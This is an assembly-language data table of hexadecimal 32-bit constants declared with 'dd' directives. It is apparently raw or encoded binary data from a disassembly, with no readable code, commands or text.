		dd 0A7427D48h, 0E0E14Ah, 7756BEA7h, 313AF164h, 871D99ACh
		dd 25E7CEF7h, 55F3AF13h, 9DD1FBD6h, 9C227D81h, 94F48B8Fh
		dd 40D14F1h, 0AD94ACEFh, 0D9D7B472h, 0A9A83EF4h, 0E92C5CBCh
		dd 5CA5F2A3h, 0BF50E491h, 0AA4E178Fh, 9D5AE938h, 38129455h
		dd 0BF5F39FAh, 740AAD6Dh, 4136680Ch, 7D602945h,	0FC91ED29h
		dd 0B058F8h, 0ECB35B2Ah, 261E18E4h, 43FA0C35h, 216E1809h
		dd 81B7ECBh, 74252C70h,	147A0875h, 0F33A5225h, 1B2C6CF1h
		dd 0D85A0B9Eh, 5F2D9E72h, 0C4A07C5Bh, 0CE0AF1DBh, 68B0BD80h
		dd 94F803DDh, 6836D395h, 10560BB6h, 0FAFB1C75h,	5A46BE54h
		dd 3B8C6051h, 0BEA754h,	52725B4Bh, 0B5DEEE81h, 299F3800h
		dd 112D5EF5h, 6D202C36h, 7051414h, 0D4C3844Eh, 83E6EABAh
		dd 79D5C389h, 0D8E4B093h, 755CE87Ah, 701804F0h,	0A2EF78C7h
		dd 2FE74CF6h, 0BE9677C8h, 3EF772FCh, 6312BCB3h,	9E9FF8A0h
		dd 21BF050Bh, 32068DAh,	0EA8C8C2Ah, 0AB305741h,	464E3740h
		dd 0F36467F4h, 0D788290Eh, 7D4C74E9h, 4E18EECh,	91AF0493h
		dd 2CAFE331h, 0B7BF83E3h, 0E9439B5Bh, 5DA065DAh, 970E13EAh
		dd 670A015Ch, 0EC66D237h, 23CC39A6h, 900488C2h,	0E20EC107h
		dd 820BF972h, 0BB795030h, 894A7576h, 81C080Dh, 30BEE14h
		dd 515816F7h, 825FAF48h, 233AAB0Dh, 0D2892FEBh,	5D2EEC01h
		dd 2CBB3BE1h, 33D3929Ch, 0AEC616FBh, 0AB3BFF8Ah, 0C84A1949h
		dd 3113BF0Fh, 0EE082Dh,	68793D32h, 0C429E91Dh, 0E6A6E18Fh
		dd 0C3FD5419h, 136638D4h, 0E35F686Ch, 28BD1D1Eh, 0F7016300h
		dd 4B90E9DDh, 9A92493h,	1AD544A7h, 97FA7F03h, 52B2EC27h
		dd 13F30629h, 1F294279h, 28A3595Ch, 0D4AA0CC1h,	0C4CFD9D7h
		dd 3A2DD955h, 0BE4A1CF2h, 0C27B5629h, 0E46BC710h, 429468F0h
		dd 23C059B6h, 2CE95812h, 860847FCh, 824841ADh, 1461F607h
		dd 0E6603360h, 60551D27h, 51C40C7Bh, 19F379Dh, 2DE13867h
		dd 766D0C82h, 81E2C898h, 3CEBB900h, 6725274Fh, 2DCC7E43h
		dd 0FC1A2F8Ch, 0E058E91Dh, 8FB94ABAh, 0FA64B364h, 0D850730Fh
		dd 1E7C7FA8h, 145D3F26h, 0C35007F5h, 6968806Dh,	0C18C014Eh
		dd 5F160078h, 0BCEF8118h, 0FAA16036h, 41EB3BDFh, 21142080h
		dd 30E68234h, 601CE303h, 18391140h, 0E4E5710h, 62300773h
		dd 2242F420h, 324561B8h, 0C4CE3B68h, 5E13F729h,	0B4B2FE31h
		dd 2F40F6C1h, 0A86D20AFh, 6BE3A24Fh, 0CEFD2F79h, 4A2AA2DDh
		dd 0EFD1009Ah, 3709CF81h, 7ACE40h, 8C2F115Bh, 6E82BD32h
		dd 0C757DA77h, 38A93DAh, 54880315h, 29AA084Bh, 1E113001h
		dd 0FAE2DE5Eh, 0B4E0C381h, 40B47BA3h, 54CD40BCh, 714E5F77h
		dd 0CF30F602h, 8755E59h, 73B819C7h, 2CFA040Eh, 0E9B281B1h
		dd 59823033h, 595145CFh, 0FBEF6660h, 0F3FFD313h, 0B64E31F8h
		dd 6C151096h, 0C71592Fh, 31407769h, 0C609B21Bh,	0AB79F6E9h
		dd 1599D9A5h, 0FB9E6C58h, 0EC437AB5h, 386B84C3h, 0B2B13DFCh
		dd 7F041261h, 0CACBDDE5h, 1AB0D508h, 0BD801BC1h, 0E47B2878h
		dd 3BCD09D4h, 8036C67h,	0AB1D97B1h, 0A3C989C2h,	53F8D503h
		dd 564FFB25h, 9EC4041h,	0FCB765E5h, 67881F9h, 2A463022h
		dd 0F5C6E2D0h, 0CAE3262Bh, 72CD0F25h, 38EA3BC9h, 0E15E0807h
		dd 0EF4905E1h, 0AC2483A0h, 480A7CBCh, 0CE034784h, 0B07E4078h
		dd 0A8ACAF2h, 1CE96B4Bh, 6740AFA2h, 5D04E889h, 48BC121h
		dd 0A085BCBFh, 3B0B850h, 0C118B753h, 60008E0h, 57054807h
		dd 62D428h, 2C25C22Dh
		dd 290356Eh, 19E801Ah, 95D06460h, 0C6AF1BF7h, 46729DA7h
		dd 91162D4Eh, 0D23DD816h, 82B5B62Fh, 6C477E68h,	12770B86h
		dd 0E0755C74h, 5220C18h, 3FE9274Dh, 1770BE07h, 3B52515Ch
		dd 0DB131368h, 3B5B0C0Bh, 0D50FEA67h, 6E6EDC0Fh, 0D62076F4h
		dd 5B8C4C3Eh, 252AF874h, 2532C729h, 3E0520DEh, 0E2057841h
		dd 0FC855DEFh, 0B020484h, 7A4A04E9h, 0E8B680C0h, 69B3415h
		dd 0CE63B488h, 4D59283Ch, 53E30073h, 5BE96AF0h,	0DC98BF6Bh
		dd 0AA1FB551h, 3C96EB88h, 0C44720ECh, 767C680Bh, 17F43B4Ch
		dd 0D7D92FF7h, 497AF8F7h, 0A5D95CF7h, 2FE8E67Ch, 6F5E0120h
		dd 2BD11685h, 5EEACC01h, 0DDC64A02h, 880C150h, 59679DE9h
		dd 5C72E25Bh, 64E1D63Ch, 0FDF1EBF8h, 80A0A33Eh,	3B5BBF68h
		dd 0A2E92D49h, 9C25827Ch, 4EE912C4h, 57129CBDh,	76EF6814h
		dd 692F806Eh, 54E979FDh, 4A3191B4h, 27D8A6F0h, 285C606Bh
		dd 0EB801ECBh, 0EF3A9D59h, 80E4879h, 0EEAD375Dh, 36A284h
		dd 0E025C2Dh, 0C801260Ah, 7DA990D3h, 975EA509h,	40C3894Ch
		dd 73C228D2h, 9D05858h,	84ED1226h, 0D74ADA68h, 0E6C2E941h
		dd 0AFE6457Dh, 62920422h, 894BC21Bh, 267977BCh,	2F9A5A52h
		dd 1CDDD380h, 9AC795B2h, 0F88BDA17h, 4EBBD010h,	58E21009h
		dd 0A97EB76Fh, 9C0AD582h, 0C4037D2Ah, 7C29D121h, 3694C2Bh
		dd 4D776EE5h, 9008E552h, 53BA667h, 0A153AA86h, 380481BAh
		dd 6F392B17h, 21127CB9h, 3030B5ADh, 37354CE9h, 85EFA831h
		dd 0CC91FAFDh, 382D24E9h, 25E67E7Eh, 2C407CBDh,	263A0239h
		dd 853F3F2Dh, 5D82908h,	0EE910717h, 882F22EBh, 0ED4B8382h
		dd 890271B5h, 0E180015Fh, 7ACBCFB8h, 2FF2ECD9h,	0E1534833h
		dd 87824E2Ah, 0B76C92CFh, 0F2EFE660h, 0FE4AF7ECh, 0E90923A8h
		dd 18590991h, 1D895E9Eh, 33959036h, 0D026014Dh,	6474272Dh
		dd 5DC47F1Fh, 56590709h, 4552599h, 87B2D156h, 2F5AFC4h
		dd 56290368h, 0F8CE650Eh, 0C5BF03CAh, 0D169C875h, 40694E66h
		dd 4BD5D2DEh, 21D4874Bh, 13DCEEE0h, 0EC65506Ah,	0A690F6Eh
		dd 1C9A2930h, 21C080Dh,	80F95D14h, 3E115F4Bh, 7E4FFB60h
		dd 742DC3Dh, 30BA00E0h,	3FE75277h, 0FA676190h, 0C3760BEh
		dd 25097453h, 6D642D7h,	27119EF2h, 8773E95Dh, 0CD32B9F0h
		dd 3C0D8334h, 0A6024B17h, 65AA67E9h, 1CF82450h,	72CEC1D4h
		dd 3C427FE9h, 0BA8BD325h, 0E9CA7013h, 811569FBh, 0FB87DFE5h
		dd 0D669D6FCh, 922B812h, 9A2CEA68h, 39A3570Bh, 440EFD3Dh
		dd 671CC580h, 0A2094BEDh, 77384773h, 6817F3E6h,	0D38C1D4Dh
		dd 0B9565A11h, 98FFD28Ah, 0DC938D6h, 57EF0201h,	44CEDD39h
		dd 0C157DEBDh, 7FA4E952h, 5DBD220Bh, 96F549CAh,	5A389C9Bh
		dd 0FD4C6A5Fh, 0FD25AA6Dh, 517D81E4h, 5D934F91h, 7F46F1BAh
		dd 8DB4ADA8h, 25AB2F79h, 5C69BAF2h, 34B4ED3Fh, 3084691Dh
		dd 0D79CE2FEh, 0FCDA8CEEh, 2E486A72h, 0F3314F45h, 0EC6ADA87h
		dd 9DA4868Fh, 0C0595418h, 70F2F555h, 0A7D0BD4Dh, 0AE8C0C5Fh
		dd 0AB585D5Ah, 0E994904Fh, 659FEB50h, 4AD5AADFh, 0B0C001EEh
		dd 0FE196849h, 8839A2C6h, 0D9EF2DC5h, 0A7E9419Fh, 42A26B38h
		dd 6D678086h, 0BBEAC650h, 0F521A0B5h, 4A417A76h, 6931ED59h
		dd 42C4794Eh, 4EFF5EF7h, 0D7E92DB3h, 0C355FF62h, 0B76354BAh
		dd 3A2D6457h, 793FF9F6h, 0EA0123D2h, 678C16B5h,	1FAEEBD8h
		dd 16A0204h, 3E0D59CBh,	0A1F63052h, 2C4E84EAh, 4E07710h
		dd 74215734h, 420B43C0h, 0E93816CFh, 601EF1EDh,	3B04A893h
		dd 0DD294899h, 631EC500h, 40D2135Ah, 0FB1787AFh, 0F9865702h
		dd 8D8E2454h, 0B3FED2DCh, 0EDE5D352h, 0FE93BE6Ch, 9F049865h
		dd 6802EFBEh, 0B6DE2E58h, 0A0EA83D0h, 803D7791h, 54E54468h
		dd 0DCC6BE18h, 9C58974Ah, 30C4C613h, 69E9D2C8h,	0F1870E17h
		dd 2A3C72DEh, 0F709BC45h, 58C133D1h, 0FEC4AF0Ch, 7B59094Eh
		dd 1E06421Bh, 173C39D9h, 14D06E9Eh, 7B66EE65h, 2C1349B9h
		dd 0C47F045Ah, 0A7540FA7h, 7D09207Bh, 0DEF7D3E6h, 0C15A5DC9h
		dd 3435E0DDh, 59CC8083h, 0C46CEC68h, 1250662Bh,	0F41499EBh
		dd 0B4A84A7Dh, 15C44BA8h, 0BE01E334h, 0E2B61217h, 0F9FA0FF8h
		dd 19B94C4Fh, 882CB5C3h, 0E18680C5h, 0C85B3058h, 2E80AD28h
		dd 0B0A1CDEBh, 5E1EBB5Ch, 8BECE45Eh, 3A562B04h,	86BCAEB2h
		dd 17BCE201h, 0C2E9349Ch, 685FB0A0h, 19BD246Ah,	0C02F3CACh
		dd 7B2EE92Eh, 958CBh, 426853FEh, 0DEC2E0D6h, 17258250h
		dd 0A8F5556Ah, 0F52D08D9h, 76E9D818h, 0D4862C58h, 43AA0374h
		dd 0FA5725BDh, 0C06ACB79h, 0A1475BC4h, 2574858Ah, 71F70081h
		dd 2DAEC9D5h, 1805378Fh, 5F8011Ch, 63610712h, 0F57FAAE9h
		dd 42C80CD0h, 50A0A60h,	48B25692h, 0D504C548h, 804E3F03h
		dd 164947F7h, 40D63B5Ch, 688073EDh, 60A97B7h, 0E9C158AFh
		dd 0BF85DF4Bh, 56583DF8h, 14F7402Dh, 0BDF7B02Bh, 53E51F27h
		dd 0B1951868h, 0A1FC6F2Ch, 3489B95Fh, 838529D0h, 2A0095B2h
		dd 0E974755Dh, 66BF6EFBh, 0BF4F68Ah, 0F509AF53h, 55597B16h
		dd 7B5D3009h, 26585660h, 93051AE9h, 4F9B0F21h, 0D1FEA625h
		dd 0E04C4B76h, 37E3420Dh, 699B16DDh, 0F84C3E2h,	0ABB80032h
		dd 42FC36Ah, 0D5FB135h,	2504F048h, 685D9B16h, 0B773A305h
		dd 1028A7EBh, 0D95A4816h, 1453F11h, 0DDBF4C54h,	10F0225Bh
		dd 2550D205h, 0F9604AB8h, 7B279CE6h, 0C2018B9Fh, 149246F5h
		dd 0B70381D3h, 0EE775B89h, 5898A214h, 1EFD9D43h, 2C8925B2h
		dd 2FA9C755h, 912D6398h, 14691301h, 5068D801h, 545A66Eh
		dd 43F26A49h, 28F792C0h, 811C0174h, 6819D2F1h, 4E05602Ah
		dd 64725881h, 858FFBD2h, 4BE2A317h, 0B7F1D714h,	705F64Bh
		dd 915B5735h, 3F095EF2h, 0C540E3D9h, 3BDC8235h,	66E057D4h
		dd 2D605A1Bh, 30AB5E4Bh, 4756A1B7h, 0FF4E5Eh, 7512CFF4h
		dd 85A078FAh, 4B173089h, 80FF315Fh, 9FA7F731h, 0A08AD12Eh
		dd 63EF7C27h, 0B60355C0h, 987FA6BFh, 2D31D166h,	4E56762Bh
		dd 5D39E864h, 0A5C58BA2h, 80B4340Eh, 9D4353D8h,	0CA817E03h
		dd 0E8E54948h, 992B72E9h, 0C4FF1CAEh, 0C788FBF3h, 0D5EA93A1h
		dd 8401F2E1h, 99E9EB06h, 0B05010D0h, 192425B6h,	7B2C4AE0h
		dd 189A1BFEh, 0CFA064BDh, 8180EA0Bh, 0FDE44EF2h, 0E5F8305Fh
		dd 5461687h, 0A51DEB51h, 0F710AFA4h, 2D75BD03h,	0B9D176F9h
		dd 3D353F96h, 0D6B54B87h, 0C84051E8h, 716F3D33h, 82636B7Fh
		dd 0A0055F0h, 29102C90h, 38555DEAh, 0A652E4E9h,	0A3DBBC97h
		dd 0EF1D4A8Ah, 0EF5B258Ah, 0D1530F0Bh, 0FB21E10Dh, 0BEB2A5Fh
		dd 0B0215586h, 2F816856h, 0A6AB7795h, 0BD551333h, 0E9C744FEh
		dd 4FA3A80Ch, 0BE2912FAh, 160BBEB6h, 0A0FE4DE7h, 50030630h
		dd 12C7AB8h, 0C3095FB3h, 0D8BF5758h, 0ABA09744h, 0EEB537C6h
		dd 5B6BF634h, 2A169D20h, 59D29C45h, 806524BBh, 0EE22E55Fh
		dd 25C93B48h, 44EDD3CDh, 0B3A6BB0Ch, 38054A2Dh,	0FB82C531h
		dd 0C32039F5h, 2FA9977h, 9C6CAD02h, 844809D7h, 0B1AC234Bh
		dd 71E4EFE4h, 607F12BDh, 5C9E04ADh, 765B0B75h, 0F54CADB4h
		dd 514AD459h, 0F2F5204Ah, 24253AEAh, 5EE94003h,	0E96B0920h
		dd 7E9A0640h, 7704C40h,	52218527h, 0D5ED0F67h, 0CD2D8DB4h
		dd 78313165h, 0E3E94BC0h, 8D177F3Ch, 0A8CF002Bh, 5E1A0450h
		dd 400F0EC0h, 37E915C3h, 0FB9252A2h, 16BC55Fh, 302E33BFh
		dd 0CA447199h, 0CF0E655h
		dd 1BC3CCCh, 65F4F652h,	0E967A004h, 65EFCE44h, 0DA0D0705h
		dd 0DC697616h, 50AD1B4Ah, 532DFBDEh, 3AEE737Ah,	0AA02EFAAh
		dd 350080FCh, 103121Fh,	768C2D47h, 29214B13h, 0E6E84BB9h
		dd 0DD41F917h, 0A3E03F50h, 0F406B6Ch, 6F0A3702h, 37CA66AAh
		dd 0C1081248h, 68128396h, 9B312A15h, 0A66AD6B0h, 0C1880701h
		dd 584BD9F6h, 3FD0EC28h, 783AC0FEh, 404C77Ah, 0EEC1052Fh
		dd 445FC508h, 35E1F495h, 30245617h, 23CD1D07h, 45557E41h
		dd 0BD52C7F4h, 67581498h, 873FCF0Bh, 29D60BF2h,	416CDD9Eh
		dd 809C759Dh, 9F1A2BDh,	6A50C483h, 12F7064Ah, 1238004Fh
		dd 3159B654h, 69A1909Fh, 0D9F80BD8h, 15E2BCE9h,	0B0AF4BF3h
		dd 8B603A37h, 6BAC3EB1h, 0F45661CCh, 145E6A7Dh,	0EA870D96h
		dd 85A3CC4Ch, 31B4271Eh, 0CCA25FE5h, 3C5F7691h,	1D4D2E5h
		dd 8D10F189h, 0F8203001h, 95C7C695h, 0E234D6CFh, 481DF7AAh
		dd 973759BCh, 9ECF8D81h, 0BC091B69h, 0F7800570h, 0D83C6FCDh
		dd 0ED0E2467h, 95A6D281h, 0AFE7983Ch, 0F7FE420Bh, 73EC80F8h
		dd 65C2242Ch, 1E711AD7h, 1784FC75h, 0E8CABE87h,	752AAD10h
		dd 310BA862h, 20AF8CEh,	4BBC1169h, 808F201h, 0D07C82Dh
		dd 0EFDBC9DAh, 83F6917Ah, 0A2236048h, 0F507CA66h, 5F6FDE51h
		dd 68050AABh, 1C0448CDh, 0A1D473E9h, 6F14C1FEh,	0AEB87FF0h
		dd 0A2791692h, 0D5CC8522h, 20D1BD25h, 9CF4DD87h, 6449D43h
		dd 45E5B6D7h, 3F805345h, 4C830AA7h, 3216BC3Fh, 68070225h
		dd 0B0D514E6h, 0A9F4A7ACh, 0BA1408A0h, 18C7FD00h, 0C1780131h
		dd 6DB46A0Ch, 308F4313h, 95F4264Ah, 8D3F1695h, 8C210457h
		dd 189ABD33h, 0EEBD3649h, 51F416A9h, 9F3B87DBh,	5FE4E7E0h
		dd 72BD09D7h, 4AA30A7Ch, 0DC7A6Ch, 3A67443Dh, 982DA01h
		dd 16D36508h, 0D3E50F59h, 0E9308CE0h, 7482F82Eh, 0F7D0957h
		dd 17F31CD7h, 0F2104768h, 0F0513CDDh, 5430424Eh, 0DF7813h
		dd 87F1B97Bh, 86E98420h, 0CBE9754Eh, 2EC4DAD1h,	0E7D618F9h
		dd 9C1A1C43h, 90977E4Fh, 20F5A368h, 603DF829h, 36C24955h
		dd 337B4EAFh, 90B29320h, 0C3C9996Fh, 0FA844AD4h, 0FAD3C0B2h
		dd 7BE93781h, 500857Ch,	767F29F2h, 0AA5C3548h, 57601745h
		dd 0B27EB2B0h, 0CF892540h, 4818EAD5h, 9E3C559Ch, 5889B87Bh
		dd 0D958018Fh, 33086AC1h, 3320371Dh, 0E96E123Fh, 7A05EA56h
		dd 23982EEEh, 83058F9h,	70E0267Dh, 17FB9285h, 121D85DBh
		dd 8C4FF3Bh, 24475AC3h,	89902824h, 7AD2BCC4h, 660751B4h
		dd 1ED2CD31h, 18C76506h, 3A2E1A01h, 9B2D6D92h, 0AFE57128h
		dd 0F0B37462h, 9C1F87FCh, 0D4955E29h, 0B8C26C18h, 0D1251600h
		dd 652E0D46h, 5621017Eh, 0EC065BBEh, 0D0A44464h, 0FBCB81EBh
		dd 6C2F5A1Dh, 438FE381h, 55206F50h, 0F87D13D7h,	0D501EA3Bh
		dd 18F120A3h, 0BEBEFC60h, 3EC685B4h, 0C258C23Bh, 0B1C0EA4Ah
		dd 0A3092DE8h, 5E1A4C1Fh, 70B532Bh, 463C3868h, 12185AA4h
		dd 0A8B9E8B1h, 0AD315B8Dh, 5556A28Fh, 0DDD2E9DEh, 0F6955564h
		dd 0CC842756h, 0BA4BFBD1h, 20C3ECCDh, 530632F3h, 0CFFEB6B7h
		dd 0D75C5BACh, 0F70543Ch, 3F72855Bh, 0E25927FBh, 0B6DDDA9Dh
		dd 98517A7Ch, 95A5B2A9h, 13058180h, 0F75866E0h,	49CD1ABFh
		dd 1AE38006h, 5AC76E26h, 2602EA2Dh, 0CA67BEE9h,	1758823Dh
		dd 4F4B792Fh, 0EE0117D8h, 0FCD20C9Ch, 0BF57506Bh, 4373A50Ch
		dd 0B7655C29h, 0F47475B2h, 9318742h, 621A2407h,	0ECDD46A4h
		dd 0E9FE1701h, 58D2824Ch, 88C7E041h, 762EDB2h, 0B5263ABFh
		dd 9A718049h, 5660769Bh, 0B664B1A0h, 0F9290B3Ch, 0A8E2D7E9h
		dd 0C184DC65h, 0F8306E7h, 56678A1h, 76803EEh, 5CA308h
		dd 3A7E7922h, 2615CE35h, 0F2772h, 0C163C4Eh, 96E598E9h
		dd 0D1BA2D40h, 827D8337h, 28678814h, 27FC8258h,	0E630035Eh
		dd 38D50BCFh, 88158615h, 5B952AF9h, 645E12FCh, 91ABC50h
		dd 0D5117725h, 465CB809h, 0DCC3760Bh, 2CD7C29Eh, 3D2822F7h
		dd 0B15100B3h, 0F11D8046h, 0FEDB6699h, 0C059A8E8h, 250572E9h
		dd 56C84844h, 0CC5870DCh, 332D15A7h, 1858808Ch,	90571F1h
		dd 0F9274EA5h, 0DC5717C2h, 5D07499Eh, 90469006h, 0E99F36E9h
		dd 10DCD7B9h, 12688014h, 84ED0249h, 0CCAF3E71h,	835EF604h
		dd 0E1EC56BFh, 0A8A03FE1h, 0C0044F66h, 0BFFCEBD0h, 781AC42Fh
		dd 0F7EF892Ah, 0A5016A9Fh, 5D9E0671h, 68F18F92h, 0D486563Dh
		dd 5D0B1694h, 301FEE68h, 804D3CABh, 670FEE9h, 5AA1769Dh
		dd 4C1465DFh, 2195A9E5h, 55D2C289h, 0D43B2BE5h,	8081349h
		dd 5B126B28h, 5501B709h, 62DE6F02h, 26F18100h, 5D1B75AEh
		dd 97F3731h, 70ED6946h,	0B5FE255h, 69AAF908h, 550B2D54h
		dd 0CB005B69h, 0EB89DC7Eh, 0B53BEE0Bh, 72C95D79h, 23CC2A9Dh
		dd 0A0546519h, 68BD31B9h, 0F798350Ah, 0A548DDDAh, 5C3D03B3h
		dd 3878126Bh, 129E08FCh, 5FD744A6h, 5ACBB31h, 2D1C68C3h
		dd 876D4B34h, 676A58C0h, 2809861h, 17F0A7EBh, 0F2FD89CFh
		dd 327328Ch, 3C0224B3h,	62A3742Bh, 0B82F17DCh, 9D5DB610h
		dd 17C40618h, 300C282Dh, 1460C2F9h, 0E9465029h,	78412005h
		dd 0D6368252h, 5ABAC1DDh, 2FE9FDD8h, 3E4AA65h, 34B0A79h
		dd 32EE2FD0h, 0DF8425F8h, 8F9206DEh, 0AF2E35BBh, 4A60F0C8h
		dd 0E7F8F879h, 0A0DF23E2h, 1C28CAF0h, 0A21F60F1h, 0BE63797h
		dd 0E9B50CC0h, 5301541Dh, 0BF5E65D5h, 8FEAD452h, 18F742A2h
		dd 3E750793h, 6162825Ch, 612452E5h, 2377800h, 1D4A0D4Ch
		dd 42697D3Ah, 5F876246h, 5B78B84h, 17C2525Ah, 687BA13Ah
		dd 0CC6A2095h, 0F1695836h, 7A0BD72Eh, 78C96BF5h, 0DAD526ADh
		dd 0A034E48Dh, 2D5F590Dh, 33D009E7h, 723E510h, 0DF5945BEh
		dd 2CD8D4B9h, 0BF0AA061h, 95583DF6h, 20FCBF2Ah,	6380D242h
		dd 0F5AC2094h, 0BDE18105h, 0CF00947Bh, 463361C1h, 98CB079h
		dd 9808731Eh, 0C255F009h, 0F3E455C5h, 6B2C6295h, 316EE812h
		dd 4B06FE32h, 55E2556Fh, 0A3722C13h, 74FC102Dh,	0CEA20B4Fh
		dd 0BA135485h, 4C010544h, 4F8D8A17h, 950DCE4h, 361CFE68h
		dd 0B0D6F05Fh, 42100301h, 0B4E944DDh, 980113D4h, 3DC13B79h
		dd 4071DD7Bh, 0CAC39905h, 9AAD54Ah, 0EF0BFDB4h,	1F31C77Fh
		dd 68C3845Ah, 0B2C4987Fh, 3CE9A20Bh, 0DFE62B9Fh, 82E2BD02h
		dd 207940DEh, 0C0B3BC55h, 51A1387Bh, 1B34AF5Bh,	0E303CCBFh
		dd 7F25225Bh, 55AEE281h, 7986393Ah, 0A63F84D4h,	0AF022513h
		dd 6B4E3904h, 0EA085A02h, 38F43242h, 1EFF2C12h,	2BC649DFh
		dd 23DC7F68h, 5A70AD30h, 4F893165h, 0BBD8E469h,	25C9AA12h
		dd 809E112h, 0E05174BEh, 52B7CD81h, 2EFAEF48h, 7E0B39F5h
		dd 7DD3002Eh, 97660971h, 400305FEh, 40FF972h, 64A0B0Ch
		dd 5C4FA95h, 0F75A84BAh, 0E5105DCFh, 929DC82h, 0DD232957h
		dd 55C0D7D1h, 4C262BBDh, 0ED1F9D87h, 7794C6Ah, 6E043DB0h
		dd 32E902CDh, 7C80EDE0h, 76EEE6CEh, 25EC3874h, 0EAC4F67Dh
		dd 0E288065Ah, 34EAC058h, 4B735159h, 4BB49EFFh,	2384B5B9h
		dd 11A2AFB4h, 0BF6FEC16h, 5D1A8D6Ch, 661421C4h,	0CA12FC8Fh
		dd 6074AE21h, 0B06FD0BEh, 58509757h, 4009EE08h,	55012D6Ah
		dd 0CA05771h, 131A44D0h, 32A166E9h, 9D3C168h, 0BF85206h
		dd 80D1F600h, 0CC28C0C1h, 7288F859h, 7EF357E6h,	5BE6A34Ah
		dd 280E0EBFh, 0FDC22C84h, 6C1E84C4h, 4CC9570Eh,	0B9051B58h
		dd 47D56314h, 45D04AC7h
		dd 24E90D1Eh, 47C8585Ah, 47F2E006h, 8F9D3E20h, 0D30AF35Eh
		dd 252BE5Dh, 9434435h, 9009EE75h, 0C35BCE2Eh, 80B119CAh
		dd 7BAC981h, 0D1F63E57h, 0B424E79Eh, 36A07A16h,	9559EAC3h
		dd 236237D6h, 3EF1FF8Bh, 84265A5h, 0F5816C03h, 76E66DA0h
		dd 42EAE11h, 5ED6B3AFh,	0B22C21AAh, 0C78A6FF4h,	4D2B728h
		dd 0F2805BFAh, 7B0EEA16h, 60C86950h, 8079E1F3h,	240FD0F6h
		dd 66252C3Eh, 0EC596338h, 22CF6126h, 6A0AA368h,	4B7BDDA7h
		dd 2F72BF6Ch, 8061DCA8h, 0BB096CC5h, 0EB0B2D0Eh, 5343B40h
		dd 7010525h, 22FDE95Dh,	92025B54h, 0F97DC168h, 2FA24D0h
		dd 28E81D9Ah, 417560DFh, 0A9CA6168h, 490672E9h,	82A434E3h
		dd 97209341h, 8850BF2h,	9C102DC5h, 78965456h, 652068E1h
		dd 2143306Eh, 2A905B38h, 2CBF604h, 0C1F93C31h, 0CC5EE63Bh
		dd 4E4A015Ah, 33274DF3h, 0AA093E8Bh, 0D6E80D0Eh, 0ED686603h
		dd 0B7ABA677h, 6FE9A501h, 0AD208678h, 3EF05657h, 428072FAh
		dd 773EF781h, 0F09509BDh, 0B23967Dh, 1060C683h,	0B52FA050h
		dd 2CE9F8B3h, 6F3A7C73h, 0AAC99004h, 0C7D392ACh, 0F3C73740h
		dd 0B905B1DAh, 5F4C68E6h, 1104BB35h, 0BB175A04h, 1D7E3287h
		dd 29137364h, 0FB8F36E9h, 4A7BB352h, 1B9436C0h,	0B0115192h
		dd 0E90C58E5h, 0B707084Fh, 7082B1BDh, 9EC76001h, 851604F4h
		dd 0AA568AE9h, 5E3C9741h, 0E740283Fh, 2585E807h, 856E8998h
		dd 33730A30h, 2D6CF0EDh, 6762D4Dh, 541D83Ah, 8B7D8001h
		dd 404A71A0h, 0BD5A6840h, 6B19A2EDh, 3AC343A4h,	0C15FA3F4h
		dd 92FDBD0Eh, 20B47A4Ch, 0E4594ECFh, 5792E1E0h,	0BB88EBA5h
		dd 4AD72538h, 27045A06h, 47465782h, 0CE197C0Fh,	75D3A966h
		dd 743C0471h, 0B52F2554h, 0EDC0BC0Bh, 3DDC0608h, 0FA59A82Bh
		dd 342B651Fh, 0B28CD0C7h, 0D20EF660h, 0A75DB753h, 0CDE780DFh
		dd 8EAEF31h, 16C20F34h,	5E54E9FEh, 14064BAh, 0CCD5E67h
		dd 40BB2E4Fh, 1255EF1Fh, 0FBD7DE2Ch, 1104D4ADh,	852EA14Ch
		dd 4EBCAC64h, 0B8DE38EEh, 0DEBDDD5Ah, 0D4C781C0h, 3190AE17h
		dd 2491579Dh, 3BED2DC6h, 0C2B9ADE6h, 3E9CE6C2h,	5B96E1F6h
		dd 6E09BD3Eh, 4EB8944h,	0A3BB9852h, 7ACB49A2h, 0E9928F61h
		dd 38931E2Eh, 8481FD5Eh, 11F1B78h, 447D052Dh, 249CD44Ah
		dd 627BDD27h, 0B4070E70h, 0E9D4C11h, 0ED56E53h,	2578822Dh
		dd 4F786B24h, 969A60Fh,	0F438BAE9h, 0EE7D4BA4h,	0B01CB96Ah
		dd 0E63461Eh, 25483201h, 77BB31A0h, 2AAAE12Eh, 9A8B5605h
		dd 525C8CBEh, 88AEB607h, 0F2575AF5h, 6859EE00h,	0A3034B1Ah
		dd 40497168h, 6F598024h, 0C152113Dh, 722EF776h,	53EB3B27h
		dd 0EFD71340h, 89314FDEh, 0C24742E5h, 0ACFD5177h, 3F5303F9h
		dd 2BAA6EB2h, 0BA1CB870h, 1C80383Ch, 330FCA81h,	562C04B0h
		dd 0FF3D9BE9h, 4F7091CAh, 0C65241AFh, 2B7BB57Eh, 4A3A92E4h
		dd 5959B432h, 53C72E00h, 107ECE81h, 0E91C0C9Dh,	2122E7B6h
		dd 0A425CA77h, 4B667E57h, 5AA7C175h, 5A3B8A7Ah,	582EEFA6h
		dd 385C59EFh, 52AAA447h, 3D017B2h, 373968FFh, 0D1ECEF84h
		dd 0F8954BB6h, 72B90B0Eh, 78B1DECh, 0A9654BF7h,	5CBE00Ah
		dd 43574F0Ch, 0A4B98078h, 615AEA8Dh, 0B23F6CA1h, 445B08h
		dd 5300C616h, 583761BBh, 1243733Eh, 0A247912Ah,	228780C1h
		dd 0C9E0A3Dh, 88F42F36h, 178B509Fh, 0E36F2649h,	143CE68Eh
		dd 0D137712Fh, 70051C04h, 0C195D431h, 5861D6Fh,	927A97BFh
		dd 13557FA9h, 56D5C2D8h, 4755271Bh, 17C42F91h, 771C5425h
		dd 0D17C7A4Ch, 0EAD35D20h, 741C4B43h, 0C21A941Eh, 0EB0E6C4h
		dd 1B98D028h, 779820E5h, 0BFABB2C4h, 7FCB8907h,	29A1C2D2h
		dd 1368E875h, 0DBB912ACh, 0D6D8B221h, 14F135ABh, 5D3ABAC4h
		dd 0B1D3E34Ch, 37802AFCh, 58941219h, 3F047448h,	0BE43370Dh
		dd 0C5114F83h, 0E9C520F6h, 0BBBB904Dh, 432D666Ch, 0C5A7DE62h
		dd 38F3FF84h, 0D0551000h, 799CBA0Eh, 5E5AFA25h,	5554250Bh
		dd 1FECCB81h, 0A23E6465h, 75CA04EAh, 0A6870C4Eh, 12FA3E60h
		dd 5EF30B21h, 0BDA283E9h, 0F680D801h, 3E1EC3BAh, 0D35E7179h
